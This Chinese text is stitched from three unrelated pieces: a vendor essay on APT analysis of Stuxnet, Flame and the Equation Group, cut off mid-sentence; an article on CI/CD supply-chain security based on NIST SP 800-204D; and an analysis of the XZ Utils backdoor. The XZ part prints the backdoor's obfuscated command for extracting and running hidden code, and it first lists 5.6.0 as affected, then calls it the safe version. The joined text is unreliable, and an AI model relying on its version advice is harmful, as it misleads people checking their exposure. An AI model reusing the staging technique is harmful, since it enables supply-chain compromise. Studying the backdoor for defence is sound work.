在“震網”之後,全球網絡安全業界陸續發現了“毒曲”“火焰”“高斯”並發布報告,並陸續證明它們與“震網”的相關性。在面對“火焰”時,卡巴斯基指出,其攻擊是當時發現的最為複雜的攻擊之一,要對其完全分析清楚可能要耗費數年時間。我們意識到國際安全企業和從業者需要進行分工協同,我們嘗試開啟了一段馬拉松式的分析賽跑,嘗試完成更多的工作,對“火焰”主樣本進行了分析[4],並提取了子模塊清單,對其中重點模塊進行了分析。從目前的公開資料檢索看,在業內完成“火焰”的分析成果中,安天在模塊層面的分析貢獻佔比是最高的。
圖2‑6“火焰”病毒主模塊與子模塊啟動加載順序(2012.5)
我們對“毒曲”和“震網”的同源分析報告晚於國際廠商[5],這的確是一個事實。 “震網”“火焰”“毒曲”“高斯”系列存在同源關聯是當時參與這些樣本深度分析的各廠商的共同的猜測與判斷。卡巴斯基的工作最為敏捷和堅決,而我們則沒有把找到的相似點在第一時間沉澱為公開的分析成果,但如果比較這兩份同源分析,其實也可以看到:安天所提供的同源點大部分與卡巴斯基並不相同,將分析成果疊加起來可以為APT樣本體系間的同源性到代碼復用佔比分析提供更完整的線索和依據。
圖2‑7 安天公佈的震網、毒曲同源關鍵代碼基因對比(2012.5)
APT分析是一個社會協同過程,其中有大量的疑問是需要長時間的分析積累、關聯回溯才能解決的,“震網”就是一個例子。例如在非常長的時間內都沒有組織機構正式解答:作為高度定向的攻擊所使用的樣本,且大版本只有兩個,總模塊數只有數十個,但為什麼其樣本數量多達數千個,包括為什麼在技術驗證中,USB擺渡開關是默認關閉的,卻能形成一條從中東到東南亞並滲透到中國的感染擴散鏈。我們在《震网事件的九年再复盘与思考》 [3]對上述問題進行了分析解答,儘管這個解答遲來了九年,但這是中國網絡安全工程師的獨創內容。相比之下,急功近利的組織機構和研究者很難取得深度和系統的成果。
同樣的,我們以軟件工程的視角,梳理“震網”“火焰”“高斯”“毒曲”之間的代碼復用關係,並輸出了一個完整的圖譜:
圖2‑8 安天發布Stuxnet和Duqu、Flame、Fanny、Flowershop關係圖(2019.9)
既與時間賽跑,又在時間面前保持定力;既尊重他人的分析成果,又有自己的獨創貢獻,這就是中國網絡安全工作者在這場接力中扮演的角色。
3.破解斯芬克斯之謎A2PT組織攻擊裝備的重要特點是惡意代碼和漏洞利用工具攻擊武器幾乎覆蓋所有平台與場景。把這個全貌完整繪製出來,成為全球優秀的網絡安全研究機構攜手共同努力才能破解的斯芬克斯之謎。
在2013年之後,針對“方程式組織”(NSA下屬的TAO團隊)的分析協同就是一次集體解謎歷險。 “方程式組織”的新攻擊活動與此前“震網”“火焰”系列攻擊至關重要的差異是,“震網”是面向隔離網絡的攻擊作業,所以Payload必須包含所有的功能模塊組件,這就便於完整的關聯分析。
而新的攻擊波次主要是依托互聯網側的高度模塊化,針對場景按需投放。由於各國的IT基礎環境、各安全企業服務的客戶場景都有很大不同,任何一家網絡安全廠商都不可能在短時內完整捕獲其各平台樣本和各種功能模塊。如果說我們看到“震網”“火焰”“毒曲”“高斯”是依靠同源線索關聯所形成的分析接力的研究,那麼對“方程式組織”的分析實際上就是依靠自身的感知捕獲能力,逐個解開其在各個平台上的免殺,直到最終完整解開它全平台覆蓋能力。每一個平台捕獲、分析、拼接到最終曝光,都走過了很長的過程。其中我們將iOS樣本的曝光,與我們正式捕獲完成分析的時間,已經相隔了8年。我們依靠自身的捕獲能力,先後捕獲了其Windows、Solaris、Linux、iOS平台的攻擊樣本,破解了樣本加密機制。和國際產業界協同完成了其全操作系統平台覆蓋能力的分析,並最終使其完整曝光。
圖3‑1全球網絡安全廠商披露的方程式組織平台覆蓋能力
2015年初,卡巴斯基率先開始公佈了方程式組織對硬盤固件的攻擊能力,安天跟進公佈了分析報告[6],針對攻擊組件結構、通信指令代碼和控制結構提供了有價值的成果。
圖3‑2 安天公佈的捕獲的C2和通信密鑰(2015.3)
安天該報告中還對硬盤固件寫入模塊進行了分析和過程研究,並在當時對可能被持久化主機硬盤進行了固件提取比對分析。
圖3‑3 安天分析硬盤固件升級流程(2015.3)
我們在2013年對“方程式”組織的捕獲分析中,就監測發現大量回連攻擊者C2的機器,確定國內存在被攻擊目標。
圖3‑4國內回連方程式組織C2監測流量
2015年5月,安天發布報告,公開了“方程式”組織內置的數據加密和網絡通信加密算法,公佈了解密密鑰和解密算法[7]。
圖3‑5方程式組織通信加解密算法分析(2015.4)
2016年,安天的報告首度曝光了“方程式”組織針對Linux系統和SPARC架構的Solaris系統的攻擊樣本[8],分析了樣本的主要功能、通信模式和指令特點。與卡巴斯基等廠商報告疊加,構成了A2PT攻擊組織的全平台惡意代碼能力圖譜。
圖3‑6方程式攻擊組織多平台操作系統覆蓋能力(2016.11)
2023年,安天曝光了“方程式”組織針對iOS的樣本[9],報告與卡巴斯基報告“三角測量行動”互動,分別曝光了美方通過“量子”系統劫持投放和基於手機iMessage服務漏洞投放攻擊iOS手機的攻擊方式。安天在報告中還發布了“量子”系統的攻擊能力圖譜和美方支撐攻擊系統運行的關係圖譜。
圖3‑7 “量子”系統可攻擊場景圖譜化分析(2023.6)
顯然,SentinelOne報告的編寫者可能沒有認真閱讀過中國企業發布的任何一篇APT分析報告,其研究習慣是:依托各安全機構報告的發佈時間來進行關聯推理,他們並未意識到(或者不願意正視)在每一次的連鎖接力中,中國網絡安全廠商與其他國家同行所發布的是不同的成果;而且顯然,他們缺乏深入分析APT事件的經驗和形成重量級分析報告的能力,從而意識不到中國廠商能夠在其他國際同行發布分析成果後迅速跟進、發布具有相關性的成果,其實是由於這些報告的主體部分早已形成,只是在等待發布的時機。我們篤定:對於2023年6月1日卡巴斯基所發布的“三角測量”行動報告和安天在6月9日所發布的“量子系統擊穿蘋果手機”報告,他們沒有讀懂。
因為很顯然,除了目標都是iOS之外,卡巴斯基和安天講述的是兩組完全不同的攻擊活動。卡巴斯基所曝光的攻擊是基於iMessage投放的,而安天曝光的攻擊是基於“量子”系統通過流量劫持投放的。在2023年6月1日發布報告時,卡巴斯基還沒有展開樣本分析,進行的是攻擊流量和行為分析(卡巴斯基真正的樣本分析成果發佈於2023年12月),而安天曝光的是一個早期捕獲的iOS樣本的儲備報告。這是兩組獨立的分析成果,我們只是為國際同行打了一個助攻而已。
4.攔截失控的分身帶給全球網絡安全工作者巨大壓力和乾擾的,並不只是A2PT攻擊本身。如果從事件的數量、攻擊的範圍這種統計學指標來看,美方對網絡軍備擴散的縱容和網絡軍火管理失控導致的網絡黑產與犯罪給全球帶來了更大的麻煩。
2015年,我們發現一例針對中國某機構的APT攻擊事件[10]。從最開始捕獲的加密數據包,到後來發現其利用註冊表數據塊完成的持久化,我們都以為這是一起A2PT組織發起的攻擊,但直到將其導入到安天賽博超腦平台進行同源性比對後才發現:這是由美國企業發布的自動化攻擊測試平台Cobalt Strike生成的攻擊載荷,被利用來對我們發動攻擊。
圖4‑1樣本模塊與Beacon生成模塊的對比分析圖(2015.5)
圖4‑2對Cobalt Strike創始人軍事背景的分析(2015.5)
安天在報告中指出“網絡空間已經存在嚴峻的網絡軍備擴散風險,超級大國能否合理控制自身網絡軍備發展的速度和規模,並對因自身未有效履行責任而使網絡領域發生可能的軍備擴散,進行有效的干預和控制,是我們能否達成一個更安全的網絡世界的關鍵因素。”
結果一語成讖。時隔兩年,美方便帶給全球一次更大的麻煩,因美方的影子經紀人洩露事件導致使用“永恆之藍”漏洞的WannaCry蠕蟲事件,該蠕蟲僅利用美國NSA“網絡軍火”中的“永恆之藍”(Eternalblue)漏洞,就製造了一場遍及全球的巨大網絡災難。
儘管我們在2016年的網絡安全威脅年報[11]中,對勒索病毒有可能和蠕蟲合流的趨勢做了預判,但我們並沒有想到幾個月後就以如此迅猛的方式表現。儘管如此,在針對WannaCry的溯源判斷上,我們還是堅持了中國網絡安全工作者的客觀和嚴謹。雖然其使用的高級漏洞利用工具毫無疑問的來自美方的武器洩露,我們依然依靠WannaCry的歷史樣本同源等多組線索,向中國網絡安全應急組織給出了我們對於WannaCry的來源判斷,以及其並非由美方開發的結論。但這一結論並不意味著,包括中國用戶在內的WannaCry受害者不需要追究美方網絡軍備失控的責任,包
1.前言在敏捷開發的模式下,應用程序會通過DevSecOps 的敏捷軟件開發生命週期(SDLC)範式進行開發,並使用持續集成/持續交付(CI/CD)管道的流程。
然而,在軟件開發、供應和交付運營中涉及的數字應用、基礎設施服務和供應鏈數據等各種活動中(這些活動共同構成了數字供應鏈),攻擊者可以通過鏈條中的一個薄弱點,隱蔽地引入攻擊載體,對數字供應鏈進行攻擊,繼而引發廣泛的後果。
日前,美國國家標準與技術研究院(NIST)發布了特別出版物《DevSecOps CI/CD 管道中软件供应链安全的集成策略》 (NIST SP 800-204D)。本文基於此文,引發深入討論,闡述如何將數字供應鏈安全保證措施集成到CI/CD 管道中以保護底層活動完整性,從而確保將源代碼帶入構建、測試、打包和部署階段的CI/CD 管道活動不會受到損害。
2.數字供應鏈(DSC)的定義從高層次上講,軟件供應鍊是創建、轉換和評估軟件製品質量和政策一致性的一系列步驟的集合。這些步驟通常由使用和消費製品以生成新製品的不同參與者執行。例如,構建步驟使用一系列人工製品作為工具(如編譯器和鏈接器),並消耗人工製品(如源代碼)來生成新的人工製品(如編譯後的二進製文件)。
我們以往所熟知的軟件供應鍊主要是基於傳統軟件供應關係,通過資源和開發供應過程將軟件產品從供方傳遞給需方的網鏈系統。而這樣的定義如今已無法適應數字經濟時代由於技術創新帶來的產品服務、基礎設施和供應鏈數據等供應對象及供應關係的新變化。
因此,數字供應鏈的概念在軟件供應鏈的基礎上應運而生。數字供應鍊主要由數字應用、基礎設施服務、供應鏈數據三大主要供應對象組成。其中,數字應用包括軟件、Web、固件等,基礎設施服務是指雲服務、IT託管服務等,而供應鏈數據則包括基礎數據和敏感信息。
相較於軟件供應鏈,數字供應鏈更加明確的指出了基礎設施服務和供應鏈數據代表產品服務在供應活動中發揮的建設作用及重要性。
圖1:在數字供應鏈步驟中不同要素之間的互動
數字供應鏈中的大多數活動都會對最終的應用產品產生重大影響。因此,每項活動的安全性對於最終結果的安全性至關重要。在供應鏈引入、生產鏈、供應鏈交付運營的過程中,構建、打包和交付數字應用,重新打包和容器化以及基礎設施服務安全上線運營等都是數字供應鏈的核心範疇。
3.數字供應鏈安全:重點內容和風險因素3.1數字供應鏈安全的重點內容在研國標《信息安全技术 软件供应链安全要求》 明確了軟件供應鏈安全保護目標,分別包括提升軟件產品或服務中斷供應等風險管理能力、提升供應活動引入的技術安全風險管理能力、提升軟件供應鏈數據安全風險管理能力。
數字供應鏈安全作為軟件供應鏈安全概念的關鍵演進,其發展建立在軟件供應鏈安全的基礎之上。相比之下,數字供應鏈安全涉及的保護範圍更廣,保護對象的內涵更加豐富。數字供應鏈安全的重點內容包括:
•數字應用安全:圍繞數字應用的開發全流程與上線運營整體階段,包含應用安全開發(DevSecOps/SDL)、開源治理(合規/風險)和數字免疫(防禦左移,代碼疫苗)。
•基礎設施服務安全:包含雲原生安全(CNAPP)和供應鏈環境安全。
•供應鏈數據安全:包含API安全和應用數據安全。
3.2數字供應鏈中的風險因素數字供應鏈的風險因素通常包括:
•開發環境中的漏洞:開發環境對數字供應鏈的安全性構成了根本性的風險,不應將其作為構建流程的一部分加以信任。成熟的SDLC 流程只有在代碼審查和掃描程序到位後,才會將代碼和資產納入其軟件配置管理(SCM) 主線和版本分支。
•威脅參與方:一般是尋求以特權方式訪問數字供應鏈的外部攻擊者,或心懷不滿、製造內部威脅的員工或供應商;非惡意的威脅參與方也可能影響供應鏈的安全,如軟件工程師由於缺乏工具或為了方便使用而故意隱瞞,導致機密管理不善。
•攻擊向量:包括惡意軟件、代碼重用(代碼級別的引入)、依賴庫和依賴組件的引入、社會工程學、網絡攻擊、物理攻擊等。
•攻擊目標(即資產):包括源代碼、憑證、敏感信息,如個人身份信息(PII)、受保護健康信息(PHI)、知識產權(IP)、加密材料(如軟件成品簽名密鑰)和專有信息等。
•利用類型:入侵行為通常包括在數字供應鏈中註入易受攻擊或惡意的依賴項、可訪問其他系統的被盜憑證、將惡意代碼或漏洞代碼注入資源庫、通過提交合併請求竊取機密等。
4.CI/CD 管道的安全目標和可信實體在CI/CD 流水線中,實現數字供應鏈安全的一個共同方法是生成盡可能多的出處數據。出處數據與系統或系統組件的起源、開發、所有權、位置和更改的時間順序相關聯,包括促成這些更改或修改的人員和流程。在生成這些數據的同時,還應有相應的機制對其進行驗證、認證,並在決策中加以利用。
總的來說,CI/CD 管道需要添加的安全保證措施:
•在開發和部署第一方軟件時採用的數字供應鏈內部安全做法;
•在採購、集成和部署第三方軟件(即開源和商業軟件模塊)時採用的安全做法。
4.1 CI/CD 管道的安全目標在CI/CD 管道中應用數字供應鏈安全措施或實踐有兩個安全目標:
1.積極維護CI/CD 管道和構建流程。
2.確保上游源頭和製品(如資源庫)的完整性。
最常見的方法是在CI/CD 平台中引入安全措施,使開發人員能夠自動構建、測試和部署管道。
4.2 CI/CD 管道中需要信任的實體零信任架構側重於保護硬件系統(如服務器)、服務和應用程序本身等資源。訪問這些資產的實體(如用戶、服務和其他服務器)本身並不值得信任,零信任架構的主要目標就是建立這種信任。
在CI/CD 管道中,信任的範圍要大得多,至少需要以下步驟:
•參與執行各種數字供應鏈活動(如供應鏈引入、生產鏈、供應鏈交付運營)的實體應通過驗證憑證進行身份驗證。在認證的基礎上,根據企業業務政策,通過一個稱為授權的過程,為這些實體分配適當的權限或訪問權。
•應通過驗證與之相關的數字簽名來確保人工製品及其存儲庫的完整性。這種完整性保證產生信任。
•在整個CI/CD 系統中,上述信任的建立應該是一個循環往復的過程,因為製品要經過不同的存儲庫才能最終成為最終產品。
•每個構建步驟的輸入和輸出都應經過驗證,以確保預期組件或實體執行了正確的步驟。
表1舉例說明了典型的CI/CD 管道中需要信任的實體。
表1:信任實體
5.將數字供應鏈安全集成到CI/CD 管道中為了概述將數字供應鏈安全集成到CI/CD 管道中的策略,有必要了解這兩種管道各自的流水線及其總體安全目標。
激活CI/CD 管道的前提條件如下:
•加固CI/CD 執行環境(如虛擬機或Pod),減少攻擊面。
•為操作各種CI/CD 管道的人員(如應用程序更新人員、軟件包管理員、部署專家)定義角色。
•確定執行各種任務的細粒度授權,如生成代碼並提交到SCM、生成構建和軟件包,以及檢查各種製品(如構建和軟件包)進出版本庫。
•通過部署適當的工具,實現整個CI/CD 管道的自動化。 CI 和CD 流水線的驅動工具處於更高的級別,會調用一系列特定功能的工具,如用於從版本庫中檢出代碼、編輯和編譯、代碼提交和測試的工具,這包括軟件成分分析SCA工具、靜態應用安全測試SAST和動態應用安全測試DAST等。一般來說,驅動工具或構建控制平面的執行信任度要高於構建等單個功能步驟。
•為應用程序代碼的開發和部署定義CI/CD 管道活動和相關安全要求;基礎設施即代碼,包含部署平台的詳細信息;策略即代碼和配置代碼,指定運行時設置(如另一種標記語言(YAML) 文件)。
5.1 確保CI 管道中工作流的安全CI 管道中的流水線主要包括構建操作、版本庫(公共和私有)的PULL/PUSH操作、軟件更新和代碼提交。
用於安全運行CI 管道的框架的總體安全目標包括:
•同時支持雲原生應用和其他類型應用的能力。
•符合標準的證據結構,如元數據和數字簽名。
•支持多種硬件和軟件平台。
•支持生成證據的基礎設施(例如SBOM 生成器、數字簽名生成器)。
5.1.1 安全構建要在構建過程中獲得數字供應鏈安全保證,需要完成以下任務:
1)指定有關構建的政策,包括使用安全隔離平台執行構建並加固構建服務器,用於執行構建的工具,以及執行構建流程的開發人員所需的身份驗證/授權。
2)使用代理和策略執行引擎等技術執行這些構建策略。
3)確保同時生成構建認證的證據,以證明在軟件交付期間符合安全構建流程。
促進第二項任務的常用技術是將CI 工具的命令與收集證據的功能結合起來,並最終創建整個SDLC 的證據跟踪。
第一類證據來自構建系統本身,它應能確認所使用的工具或流程處於隔離環境中。這可提供內部操作保證。第二類應收集的證據包括最終構建製品、文件、庫和製品中使用的其他材料以及所有事件的哈希值。然後,由構建框架中不受開發人員控制的可信組件使用數字證書對其進行簽名,以創建證書,從而為消費者提供軟件質量的可驗證證明,使他們能夠獨立於軟件生產者驗證該製品的質量,從而為消費者提供保證。在這種情況下,製品是由一系列CI 流程步驟生成的構建。
就'同時生成證據'而言,生成的證據應由信任度或隔離度高於構建本身的流程啟用,以防止篡改。此類證據的生成需要在構建過程中進行驗證。
構建階段的認證由以下部分組成:
1.環境認證:涉及CI 流程發生時的系統清單,一般指運行構建流程的平台。平台的組件(如編譯器、解釋器)必須經過加固、隔離和安全處理。
2.過程認證:涉及將原始源代碼或材料轉化為人工製品的計算機程序(如編譯器、打包工具)和/或對該軟件進行測試的程序(如代碼測試工具)。對於只觀察CI 流程的工具來說,有時很難區分哪些數據應填入流程證明,哪些數據應填入材料認證。執行源轉換的工具讀取的文件可能會影響轉換工具的選擇,也可能包含在轉換本身的輸出中。因此,流程證明的填充應被視為'盡力而為'。
3.材料認證:涉及任何原始數據,可包括配置、源代碼和其他數據(如依賴關係)。
4.製品認證:製品是CI 流程的結果或成果。例如,如果CI 流程步驟涉及在C 語言編寫的源代碼上運行編譯器(如GNU 編譯器集(GCC)),那么生成物就是該源代碼的可執行二進製文件。如果該步驟涉及在同一源代碼上運行SAST 工具,則生成物將是'掃描結果'。生成該製品的步驟可以是最終步驟,也可以是中間步驟。與新生成產品有關的證明屬於人工製品證明類別。
與簽名證據(即認證)及其存儲相關的要求必須包括以下內容:
•認證必須使用安全密鑰進行加密簽名。
•存儲位置必須防篡改,並使用強大的訪問控制加以保護。
這些認證可用於評估政策合規性。政策是一份簽名文件,其中包含了對要驗證的製品的要求。該策略可能包括檢查參與CI 流程的每個職能部門是否使用了正確的密鑰來生成證明,是否找到了所需的證明,以及是否指定了根據相關元數據評估證明的方法。該策略使核查人員能夠在製品生命週期的任何時刻跟踪其合規狀態。
上述能力共同提供了以下保證:
•軟件由授權系統按照正確的步驟順序使用授權工具(如每個步驟的基礎設施)構建。
•沒有證據表明存在潛在的篡改或惡意活動。
5.1.2 對存儲庫進行安全的PULL-PUSH操作數字供應鏈的第一項安全任務是確保源代碼開發實踐的安全。在CI/CD 管道中,代碼駐留在資源庫中,由授權開發人員使用PULL 操作提取、修改,然後使用PUSH 操作放回資源庫。要授權這些PULL-PUSH 操作,需要兩種形式的檢查:
1.授權執行PULL-PUSH操作的開發人員所需的驗證類型。開發人員提出的請求必須與其角色(如應用程序更新者、軟件包管理器)相符。擁有'合併審批'權限的開發人員不能審批自己的合併。
2.代碼庫中代碼的完整性值得信賴,可用於進一步更新。
確保代碼庫中代碼可信度的各種機制包括:
•PULL-PUSH請求1:項目維護者應對推送的變更中涉及的所有製品進行自動檢查,如單元測試、襯墊、完整性測試、安全檢查等。
•PULL-PUSH請求2:只有在對工具源代碼來源的可信度有信心的情況下,才能使用這些工具運行CI 流水線。
•PULL-PUSH請求3:版本庫或源代碼管理系統(如GitHub、GitLab)應a) 在沙箱環境中運行CI 工作流,不允許訪問網絡、任何特權訪問或讀取機密;或b) 具有內置保護功能,可延遲CI 工作流的運行,直至獲得具有寫入權限的維護者批准。當外部貢獻者向公共版本庫提交拉取請求時,這種內置保護就會生效。這種保護的設置應該是最嚴格的,例如'要求所有外部合作者批准'。
•PULL-PUSH請求4:如果源代碼管理系統中沒有內置保護功能,則需要具有以下功能的外部安全工具:
評估和加強SCM系統安全態勢的功能,無論有無策略(如開放策略代理(OPA)),都能評估SCM賬戶的安全設置,並生成一份包含可行建議的狀態報告。
通過檢測和修復錯誤配置、安全漏洞和合規問題,提高源代碼管理系統安全性的功能。
5.1.3 軟件更新期間證據生成的完整性軟件更新過程通常由一類特殊的軟件開發工具執行,該工具被稱為軟件更新系統。對軟件更新系統的威脅主要針對證據生成過程,目的是清除更新的痕跡,阻止確定更新是否合法的能力。
軟件更新系統有多種類型:
•軟件包管理器負責管理系統中安裝的所有軟件
•只負責個別已安裝應用程序的應用程序更新程序
•軟件庫管理器,用於安裝可增加功能的軟件,如插件或編程語言庫。
軟件更新系統的主要任務是識別給定更新票據所需的文件,並下載可信文件。乍一看,建立下載文件信任所需的唯一檢查似乎就是通過驗證與單個文件或軟件包相關的元數據上的簽名來執行的各種完整性和真實性檢查。然而,簽名生成過程本身可能會受到已知攻擊的影響,因此軟件更新系統需要許多與簽名生成和驗證相關的其他安全措施。
為軟件更新系統提供安全保障的不斷發展的框架已將其中許多必要的安全措施納入其規範,並為未來的規範規定了其他一些措施。框架是一套庫、文件格式和實用程序,可用於確保新的和現有軟件更新系統的安全。框架應通過要求在執行簽名操作前滿足第5.1.1節中定義的策略來保護簽名操作。以下是該框架的部分共識目標:
•該框架應能防範對軟件更新系統所執行任務的所有已知攻擊,如元數據(哈希值)生成、簽名過程、簽名密鑰管理、執行簽名的機構的完整性、密鑰驗證和簽名驗證。
•該框架應提供一種方法,通過支持具有多個密鑰和閾值或法定人數信任的角色(旨在使用單個密鑰的最低信任角色除外),將密鑰洩露的影響降至最低。對使用高危密鑰的角色來說,密鑰洩露的影響應該是最小的。因此,在線密鑰(即以自動方式使用的密鑰)不應用於客戶最終信任其可能安裝的文件的任何角色。當密鑰在線使用時,應格外小心保管,例如將其存儲在硬件安全模塊(HSM) 中,並且只有在被簽名的製品通過第5.1.1節中定義的策略時才允許使用。
•該框架必須足夠靈活,以滿足各種軟件更新系統的需求。
•該框架必須易於與軟件更新系統集成。
5.1.4 安全代碼提交代碼提交前應進行適當形式的測試,且必須滿足以下要求:
•SAST 和DAST 工具(涵蓋開發中使用的所有語言)應在CI/CD 管道中運行,並向開發人員和安全人員提供代碼覆蓋率報告.
•如果使用開源模塊和庫,則必須列舉、了解和評估依賴關係(通過使用SCA 工具,如源鑑SCA開源威脅管控平台)。此外,還必須測試它們應滿足的安全條件。依賴關係文件檢測器應檢測所有依賴關係,包括傳遞依賴關係,最好不限制要分析的嵌套依賴關係或傳遞依賴關係的深度。
代碼提交過程中所需的一種安全措施是防止秘密進入提交的代碼。這可以通過對秘密的掃描操作來實現,並產生一種稱為推送保護的功能。該功能應滿足以下要求:
•提交請求1:(例如,個人訪問令牌) 評估已提交代碼是否符合組織政策,包括是否存在密鑰和應用程序編程接口(API) 令牌等機密。檢測到的秘密應通過安全儀錶盤等媒體顯著顯示,並在檢測到違反政策時生成適當的警報,同時記錄補救違反政策的方法。
•提交請求2:分配給管理員的所有版本庫都應啟用推送保護功能。此類保護應包括開發人員身份/授權驗證、強制執行開發人員對代碼提交的簽名以及文件名驗證。
5.2 確保CD管道中流水線的安全以下是CD 過程中應使用的一些盡職調查措施。這些措施可以通過定義允許或不允許部署製品的驗證策略來實施。
•部署請求1:對於已在版本庫中並準備部署的代碼,應調用安全掃描子功能來檢測代碼中是否存在密鑰和訪問令牌等機密。在許多情況下,即使在代碼填充之前,也應掃描版本庫中是否存在秘密,因為根據版本庫的可見性,秘密出現在版本庫中可能意味著憑證已經洩露。
•部署請求2:在合併拉取請求之前,應該可以通過依賴性審查的形式查看任何易受攻擊版本的詳細信息。
•部署請求3:如果已經建立了安全的構建環境和相關流程,那麼就應該可以指定部署的製品(即容器鏡像)必須是由該構建流程生成的,這樣才能允許部署。
•部署請求4:應該有證據表明容器鏡像已進行過漏洞掃描並證明了漏洞發現。漏洞掃描的一個重要因素是運行時間。由於用於掃描製品的工具會不斷更新以檢測新出現的漏洞,因此與過去的掃描結果相比,最近的掃描結果更有可能是準確的,並能提供更好的保證。這種技術可確保只有經過驗證的容器鏡像才能進入環境,並在運行期間保持可信,從而使DevOps 團隊能夠實施主動的容器安全態勢。具體來說,應該可以根據組織定義的策略允許或阻止鏡像部署。
•部署請求5:應定期檢查發行版構建腳本是否存在惡意代碼。需要執行的具體任務包括:
容器鏡像一經構建,甚至在推送到註冊表之前,就應進行漏洞掃描。早期掃描功能也可以內置到本地流水線中。
用於與包含容器鏡像和語言包的資源庫進行交互的工具應能與CD工具集成,從而使所有活動成為自動CD管道的組成部分。
5.2.1 安全CD 管道-GitOps在CI/CD 管道中,構建期間和之後的所有操作都涉及與中央存儲庫(如Bitbucket、GitHub 和GitLab)的交互。這些操作統稱為GitOps,是一種由Argo CD 和Flux 等開源工具推動的自動化部署流程。 GitOps 既適用於基礎架構代碼,也適用於應用代碼,包括提交、分叉、拉取和推送請求。
GitOps 的使用範圍如下:
•將基礎設施作為代碼進行管理
•管理和應用群集配置
•將容器化應用程序及其配置自動部署到分佈式系統。
在部署前創建配置數據、捕獲與特定版本相關的所有數據、運行期間修改軟件以及執行監控操作時,應執行以下數字供應鏈安全任務:
•GitOps請求1:流程應依靠自動化而非手工操作。例如,應避免手動配置數百個YAML 文件來回滾Git 倉庫集群上的部署。
•GitOps請求2:為GitOps 提供便利的軟件包管理器應保存已發佈軟件包的所有數據,包括所有模塊的版本號、所有相關配置文件以及其他適合軟件運行環境的元數據。
•GitOps請求3:不應在運行時手動應用變更(如kubectl)。相反,應該對相關代碼進行更改,並觸發包含這些更改的新版本。這樣才能確保Git 提交始終是集群中運行內容的唯一真實來源。
•GitOps請求4:由於Git 倉庫包含應用程序定義和配置代碼,因此應自動提取並與這些配置的指定狀態進行比較(即監控和補救漂移)。對於任何偏離指定狀態的配置,可執行以下操作:
管理員可以選擇自動將配置重新同步到定義的狀態。
應就差異發出通知,並進行人工補救。
5.3 數字供應鏈CI/CD 管道安全-實施策略如果不對基本業務流程和運營成本造成巨大影響,所有企業都不可能一次性實施數字供應鏈安全所需的大量步驟。相反,提供數字供應鏈安全性的解決方案可大致分為以下幾類:
1.通過與DevSecOps 管道中每項任務相關的功能確保數字供應鏈安全的解決方案:
a.通過確保不被篡改的構建管道來驗證軟件的正確構建,例如提供對構建過程中使用的依賴關係和步驟的可驗證可見性,因為被破壞的依賴關係或構建工具是中毒流水線的最大來源。
b.為交付流水線的每個步驟指定核對清單,以便為實施提供指導,並檢查和執行對核對清單遵守情況的控制。
2.通過數字簽名和證書確保完整性和出處的解決方案。
3.確保運行代碼為最新代碼的策略,如製定'構建期限'(即超過一定期限的代碼不應啟動),以盡可能使生產過程與軟件源中已提交的代碼保持一致。
4.保護CI/CD 客戶端,防止惡意代碼竊取機密信息(如專有源代碼、簽名密鑰、雲憑證)、讀取可能包含機密的環境變量,或將數據外洩到敵方控制的遠程端點。
6.結語敏捷開發模式下數字應用以最快速度將代碼從IDE或Git存儲庫帶到生產環境中,加快了部署速度,提升了業務系統上線的效率,但數字供應鏈的安全性對於敏捷開發範式來說同樣至關重要,任何一個漏洞都可能造成巨大的損失。
作為數字供應鏈安全開拓者和DevSecOps敏捷安全領導者,懸鏡將持續帶來專業的國際化視角,與行業同仁及用戶共同探討交流,踐行網絡安全社會責任,守護中國數字供應鏈安全。
漏洞概述
2024年3月29日,開發人員Andres Freund在安全郵件列表上報告稱,他在調查SSH性能問題時發現了涉及XZ包中的供應鏈攻擊,分析後發現是SSH使用的上游liblzma庫被植入了後門代碼,可能允許攻擊者通過後門非授權訪問系統。
XZ Utils 是一款用於壓縮和解壓縮.xz 和.lzma 文件的工具集。 XZ Utils 由Lasse Collin 開發,是一個開源項目,廣泛應用於各種操作系統中,受影響開源操作系統可在https://repology.org/project/xz/versions中查詢.xz 文件格式是一種基於LZMA2 壓縮算法的文件格式,它提供了比傳統gzip 更高的壓縮比,同時保持了相對較高的解壓縮速度。 XZ Utils v5.6.0和v5.6.1中tar包的編譯文件被植入惡意命令。在某些特定編譯環境下,惡意命令執行後將替換正常編譯過程中的中間文件為後門文件,最後和其他組件一起編譯到XZ Utils的Liblzma庫文件中。當後門代碼被執行時,將掛鉤(HOOK)SSHD進程中的SSH登錄認證函數。當接收到指定的SSH數據包時,將未授權執行指定的系統命令。
漏洞細節分析1、植入流程目前XZ Utils的Github倉庫(https://github.com/tukaani-project/xz)已無法訪問。筆者分析時使用的版本是從其他鏡像網站下載的xz-5.6.1.tar.gz。初始惡意代碼主要在文件build-to-host.m4中。
這條命令拼接後為:sed 'r\n' ./tests/files/bad-3-corrupt_lzma2.xz | tr '\t \-_' ' \t_\-' | xz -d 2 /dev/null,主要從./tests/files/bad-3-corrupt_lzma2.xz中提取代碼並解壓,最後再執行。
提取出的代碼如下:
這部分代碼執行後,判斷是否為Linux系統,如果不是,則退出。
後面的代碼繼續從./tests/files/good-large_compressed.lzma文件中提取後續代碼,再解壓後執行。
提取的代碼如下:
提取出的代碼較多,主要功能是檢測到環境不適合時就退出,不執行植入後門的邏輯;如果環境合適,則繼續提取./tests/files/下的文件,然後替換編譯的中間過程文件liblzma_la-crc64-fast.o和liblzma_la-crc32_fast.o,最後編譯到XZ Utils的庫文件Liblzma中。
根據以上提取的代碼可知,在如下環境編譯將不會植入後門:
1、不是Linux系統(uname不為Linux)
2、沒有IFUNC.IFUNC是GLIBC中用於覆蓋符號的一個功能
3、不編譯動態庫(sharedobject)
4、不是x86_64,或者targettriple結尾不是linux-gnu
5、編譯器不是GCC,或者鏈接器不是GNUld
6、從測試文件中解壓預編譯的二進製文件
7、修改源碼和構建腳本
此外,指令集擴展檢測函數被替換掉,比原函數多一個參數,作用未知。
2、後門功能被植入後門的Liblzma庫文件被進程加載運行後,將進行一系列環境檢查,檢查通過再執行後門功能,包括:
1、未設置TERM環境變量
2、Argv[0]需要是/usr/sbin/sshd
3、LD_DEBUG、LD_PROFILE未設置
4、需要設置LANG
5、未檢測到調試器
通過以上檢查後,執行後門核心功能,主要功能是掛鉤(HOOK)SSH登錄認證過程中的函數RSA_public_decrypt,未授權執行指定的系統命令。即使用指定SSH證書進行登錄時,從公鑰中提取攻擊負載,然後進一步校驗,最後使用ChaCha20算法解密,將解密後數據作為命令執行。
部分已分析的函數功能如下:
漏洞檢測1、查看本地系統是否安裝了受影響版本的XZ,安全版本為xz5.6.0,xz --version
